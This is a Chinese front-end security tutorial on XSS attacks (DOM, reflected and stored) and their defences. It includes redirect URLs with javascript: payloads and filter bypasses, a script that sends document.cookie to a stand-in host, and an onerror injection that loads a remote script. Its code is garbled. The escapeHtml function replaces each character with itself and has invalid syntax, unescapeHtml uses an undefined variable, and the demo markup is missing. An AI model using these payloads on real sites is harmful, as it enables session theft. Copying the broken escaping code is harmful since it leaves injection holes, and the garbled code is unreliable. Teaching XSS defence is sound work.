摘要：系列文章前端安全系列篇前端安全系列篇攻擊全稱跨站腳本攻擊，為不和層疊樣式表的縮寫混淆，故將跨站腳本攻擊縮寫為，是一種在應(yīng)用中的計(jì)算機(jī)安全漏洞，它允許惡意用戶將代碼植入到提供給其它用戶使用的頁面中。

前端安全系列：XSS篇
前端安全系列：CSRF篇

全稱跨站腳本攻擊，為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站腳本攻擊縮寫為XSS，XSS是一種在web應(yīng)用中的計(jì)算機(jī)安全漏洞，它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。

盜取各類用戶帳號(hào)，如機(jī)器登錄帳號(hào)、用戶網(wǎng)銀帳號(hào)、各類管理員帳號(hào)

控制企業(yè)數(shù)據(jù)，包括讀取、篡改、添加、刪除企業(yè)敏感數(shù)據(jù)的能力

盜竊企業(yè)重要的具有商業(yè)價(jià)值的資料

非法轉(zhuǎn)賬

強(qiáng)制發(fā)送電子郵件

網(wǎng)站掛馬

控制受害者機(jī)器向其它網(wǎng)站發(fā)起攻擊

這種漏洞存在于瀏覽器頁面中,屬于前端自身問題基于DOM文檔對(duì)象模型的一種漏洞,大概步驟:

A給B發(fā)送一個(gè)惡意構(gòu)造的URL

B打開惡意URL

B的瀏覽器頁面中包含惡意代碼

A的惡意代碼可以擁有B的持有權(quán)限,進(jìn)而獲取B的數(shù)據(jù)或者冒充B的行為

通過修改瀏覽器頁面中的DOM(DocumentObjectModel)時(shí)，就有可能產(chǎn)生這種漏洞

服務(wù)端沒有對(duì)數(shù)據(jù)進(jìn)行過濾、驗(yàn)證或者編碼等處理直接返回前端可能引起的漏洞

A給B發(fā)送一個(gè)惡意構(gòu)造的URL

B打開目標(biāo)網(wǎng)站,瀏覽器將包含惡意代碼的數(shù)據(jù)通過請(qǐng)求傳遞給服務(wù)端,其不加處理直接返回給瀏覽器

B的瀏覽器接收到響應(yīng)后解析并執(zhí)行的代碼中包含惡意代碼

A的惡意代碼可以擁有B的持有權(quán)限,進(jìn)而獲取B的數(shù)據(jù)或者冒充B的行為

常見于網(wǎng)站搜索欄,登錄注冊(cè)等地方竊取用戶cookies或者進(jìn)行釣魚欺騙.因?yàn)槠渲猩婕暗椒?wù)端的參與,想要避免需要后端協(xié)調(diào).

類似反射式但是會(huì)把未經(jīng)處理的數(shù)據(jù)儲(chǔ)存在數(shù)據(jù)庫(kù)中

A將惡意代碼提交到目標(biāo)網(wǎng)站的數(shù)據(jù)庫(kù)中

B打開目標(biāo)網(wǎng)站,服務(wù)端將惡意代碼從數(shù)據(jù)庫(kù)取出拼接在HTML中返回給瀏覽器

B的瀏覽器接收到響應(yīng)后解析并執(zhí)行的代碼中包含惡意代碼

A的惡意代碼可以擁有B的持有權(quán)限,進(jìn)而獲取B的數(shù)據(jù)或者冒充B的行為

這是屬于持久性攻擊,涉及范圍可能包括所有的訪問用戶,一般常用網(wǎng)站留言,評(píng)論,博客日志等.

    
        
        
        
        
        
    
    
        

            input:
            
            submit
        
        

        

            output:
            
        

        
        
    

完整源碼可以查看demo1
某天,讓A知道之后他輸入這么一段代碼,然后提交之后發(fā)現(xiàn)

類似的用戶輸入內(nèi)容都可能被攻擊者利用拼接特殊格式的字符串形成惡意代碼,通過注入腳本引發(fā)潛在風(fēng)險(xiǎn),瀏覽器不會(huì)區(qū)分善惡,只是按照代碼解析,于是B想了一個(gè)辦法告訴瀏覽器這段內(nèi)容不該解析,所以改了一下,簡(jiǎn)單轉(zhuǎn)義輸入內(nèi)容

function escapeHtml(text) {
  return text.replace(/[<>"&]/g, function(match, pos, originalText) {
    switch (match) {
      case "<":
        return "<";
      case ">":
        return ">";
      case "&":
        return "&";
      case """:
        return """;
    }
  });
}

function unescapeHtml(str) {
  return text.replace(/[<>"&]/g, function(match, pos, originalText) {
    switch (match) {
      case "<":
        return "<";
      case ">":
        return ">";
      case "&":
        return "&";
      case """:
        return """;
    }
  });
}

$submit.click(function() {
  var val = escapeHtml($input.val());
  $output.val(val).html(val);
});

完整源碼可以查看demo2
現(xiàn)在瀏覽器就不會(huì)再執(zhí)行里面的代碼了,實(shí)際業(yè)務(wù)中應(yīng)該轉(zhuǎn)義的內(nèi)容不止這么簡(jiǎn)單

    
        
        
    
    
        

            output:
            
            jump
        

        
        
    

完整源碼可以查看demo3
A發(fā)現(xiàn)一個(gè)漏洞,然后發(fā)了這個(gè)網(wǎng)址給其他人打開

https://www.test.com/?redirect_to=javascript:alert("XSS")

當(dāng)他們點(diǎn)擊跳轉(zhuǎn)的時(shí)候就會(huì)觸發(fā)A故意形成的惡意代碼

像這種情況B第一想法是檢驗(yàn)是否網(wǎng)址格式再渲染界面,所以他這么寫

function testUrl(str) {
  var Expression =
    "^((https|http|ftp|rtsp|mms)?://)?" +
    "(([0-9a-z_!~*().&=+$%-]+: )?[0-9a-z_!~*().&=+$%-]+@)?" + //ftp的user@
    "(([0-9]{1,3}.){3}[0-9]{1,3}|" + // IP形式的URL- 199.194.52.184
    "([0-9a-z_!~*()-]+.)*" + // 域名- www.
    "[a-z]{2,6})" + //域名的擴(kuò)展名
    "(:[0-9]{1,4})?" + // 端口- :80
    "((/?)|(/[0-9a-z_!~*().;?:@&=+$,%#-]+)+/?)$";
  var objExp = new RegExp(Expression);
  if (objExp.test(str) != true) {
    return false;
  } else {
    return true;
  }
}
var val = getQueryString("redirect_to");
$output.val(val);
testUrl(val) && $jump.attr("href", val);

完整源碼可以查看demo4
因?yàn)楦晃谋居袉栴},只能截圖.

但是不是每個(gè)a標(biāo)簽都是用于跳轉(zhuǎn)頁面的,例如通過Scheme協(xié)議打開APP界面

var val = getQueryString("redirect_to");
var reg = /javascript:/gi;
$output.val(val);
!reg.test(val) && $jump.attr("href", val);

https://www.test.com/?redirect_to=jav ascript:alert("XSS");
https://www.test.com/?redirect_to=javascrip?74:alert("XSS");

    
        
        
    
    
        

            output:
            
        

        
        
    

https://www.test.com/?data={"data":""}

var img = document.createElement("img");
img.src =
  "http://www.test.com/cheat.html?url=" +
  escape(window.location.href) +
  "&content=" +
  escape(document.cookie);
img.style = "display:none";
document.body.appendChild(img);

var img = document.createElement("img");
img.src = "#";
img.onerror = document.body.appendChild(document.createElement("script")).src =
  "http://www.test.com/cheat.js";
img.style = "display:none";
document.body.appendChild(img);

")">jump

首先是 HTML 解碼，結(jié)果為

")">jump

然后是 URL 解碼，結(jié)果為

")">jump

最后是 JS 解碼，結(jié)果為

")">jump

所以可以攻擊的方式很多種,相比于針對(duì)處理我們應(yīng)該先了解相關(guān)的攻擊方式

所有用戶輸入內(nèi)容都有潛在的風(fēng)險(xiǎn)

利用script標(biāo)簽注入HTML/Javascript代碼

利用擁有href和src等屬性的標(biāo)簽

利用空格、回車和Tab等拼接方式繞開攔截

利用字符編碼繞開攔截（JS支持unicode、eacapes、十六進(jìn)制、十進(jìn)制等編碼形式）

利用onload,onscroll等事件執(zhí)行惡意代碼

利用樣式屬性backgrund-image等執(zhí)行(聽說主流瀏覽器已處理)

URL參數(shù)

Cookies

請(qǐng)求header的referer

惡意代碼拆分組裝

各種API

// URL相關(guān)
document.location
document.URL
document.URLUnencoded
document.referrer
window.location
// 操作dom
document.write()
document.writeln()
document.boby.innerHtml
// 特殊函數(shù)
eval()
window.execScript()
window.setInterval()
window.setTimeout()
// 重定向
document.location
document.URL
document.open()
window.location.href
window.navigate()
window.open

總的來說分兩種類型:

攻擊者手動(dòng)提交惡意代碼

瀏覽器自動(dòng)執(zhí)行惡意代碼

如果攻擊者不直接經(jīng)過前端界面,而是直接自己構(gòu)造請(qǐng)求就可以破解了

如果是需要用于界面展示的話,引用到字段的地方都需要處理,大部分模板都會(huì)自動(dòng)轉(zhuǎn)義處理,但是如果用在JS不能直接使用或者計(jì)算,例如長(zhǎng)度判斷等

需要根據(jù)上下文采用不同的轉(zhuǎn)義規(guī)則增大處理難度,如 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等,所以這更適用于固定類型的內(nèi)容,例如URL,號(hào)碼等

XSS Filter

用戶提交數(shù)據(jù)進(jìn)行驗(yàn)證,只接受限定長(zhǎng)度/內(nèi)容

表單數(shù)據(jù)指定具體類型

過濾移除特殊的html標(biāo)簽,script和iframe等

過濾移除特殊的Javascript代碼,javascript:和事件等

HTML Entity(舉例部分)

請(qǐng)求限制

將重要的Cookie標(biāo)記為HTTP Only,不能通過客戶端腳本讀取和修改

設(shè)置referer防止惡意請(qǐng)求

實(shí)現(xiàn)Session標(biāo)記(session tokens)、CAPTCHA系統(tǒng)或者HTTP引用頭檢查，以防功能被第三方網(wǎng)站所執(zhí)行